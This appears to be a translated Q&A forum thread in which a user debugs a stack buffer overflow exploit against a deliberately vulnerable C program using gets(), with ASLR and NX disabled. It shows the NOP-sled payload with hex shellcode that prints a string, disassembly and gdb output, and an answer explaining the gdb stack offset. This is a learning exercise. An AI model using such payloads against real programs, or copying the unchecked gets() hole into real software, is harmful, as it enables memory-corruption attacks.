2

数日前、x86 システムでのバッファ オーバーフローの悪用をテストするための簡単なコードをコーディングしました。シンプルにするために、ASLR と NX を無効にしたので、奇妙な動作を引き起こす可能性のある保護はありません。

これは、悪用する私の C コードです。

#include <stdio.h>

void read_txt(){
        char txt[64];
        printf("Write something:");
        gets(txt);
}


int main(){
    read_txt();
    return 0;
}

また、文字列を出力するだけの独自のシェルコードも作成しました。私の知る限り、ペイロードはこのようなものでなければなりません。バッファーに NOP 命令 + シェルコードを入力し、0x41414141 (AAAA) を追加して EBP レジスタを上書きし、最後に戻りアドレスを NOP の中間を指すアドレスで上書きします。

実際にはそのようには機能せず、ペイロードは次のとおりです。

[1-\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x68\x20\x3b\x29\x20\x68\x68\x73\x65\x63\x68\x20\x48\x69\x67\x68\x48\x6f\x6c\x61\x89\xe1\xb2\x0f\xcd\x80\xb0\x01\x31\xdb][2-\x41\x41\x41\x41][3-\x89\xf4\xff\xbf][4-\x89\xf4\xff\xbf]

1- NOPs + Shellcode = 60bytes
2- AAAA =4 bytes (Padding to fill the buffer, if NOP+Shellcode fills 64bytes it does not work)
3- Address to override EBP (In the middle of NOPs)
4- Overrides Return Address

このエクスプロイトは gdb で機能しますが、ペイロードをプログラムに直接渡すと失敗します。問題は、プログラムが gets() 関数を実行する直前に、esp から ebp を指すleave命令をディスアセンブラが表示してエラーを引き起こすことだと思います。

これは read_txt() 関数の逆アセンブリです:

0x0804844c <+0>:    push   %ebp
   0x0804844d <+1>: mov    %esp,%ebp
   0x0804844f <+3>: sub    $0x44,%esp
   0x08048452 <+6>: movl   $0x8048510,(%esp)
   0x08048459 <+13>:    call   0x8048320 <printf@plt>
   0x0804845e <+18>:    lea    -0x40(%ebp),%eax
   0x08048461 <+21>:    mov    %eax,(%esp)
   0x08048464 <+24>:    call   0x8048330 <gets@plt>
   0x08048469 <+29>:    leave  
   0x0804846a <+30>:    ret    

そして、これは GDB でのエクスプロイトの実行です。

(gdb) x/20x $esp
0xbffff47c: 0xbffff480  0x90909090  0x90909090  0x90909090
0xbffff48c: 0x90909090  0xc0319090  0xc931db31  0x04b0d231
0xbffff49c: 0x206801b3  0x6820293b  0x63657368  0x69482068
0xbffff4ac: 0x6f486867  0xe189616c  0x80cd0fb2  0xdb3101b0
0xbffff4bc: 0x41414141  0xbffff489  0xbffff489  0xbffff500
(gdb) s
Warning:
Cannot insert breakpoint 0.
Error accessing memory address 0x90909090: I/O Error.

0xbffff489 in ?? ()
(gdb) c
Continuing.
Shellcode Executed
Program received signal SIGSEGV, Segmentation fault.
0xbffff4b9 in ?? ()
(gdb) 

EBP は 0x90909090 を指していることに注意してください。これは、リターン アドレスを上書きする同じアドレスを持っているためです。また、ペイロードに含まれるシェルコードである文字列Shellcode Executed にも注意してください。

私の質問は、リターン アドレスを NOP スライドに向ける前に、この問題を回避するために EBP をどこに向ければよいかということです。また、二次的な質問として、なぜ 64 バイトのバッファを NOP+Shellcode で満たすことができないのでしょうか?

よろしく。

4

1 に答える 1

2

この特定の質問が出されてから 2 年が経ちました。同じ問題に直面したとしても、私のペイロードは gdb で正しく機能していましたが、直接実行すると失敗しました。その理由は、GDB を介してプログラムを実行すると、メモリ内にオフセットが作成される 2 つの環境変数が作成されるためです。したがって、[GDB を使用して取得した]リターン アドレスがRETの場合、それを直接実行している間、リターン アドレスはRET+offsetであり、正常に動作するはずです。

または、GDB 経由で実行しているときに、環境変数がスタックにプッシュされるのを防ぐことができます。これが同じ問題に直面している人々に役立つことを願っています

于 2016-06-10T03:20:17.230 に答える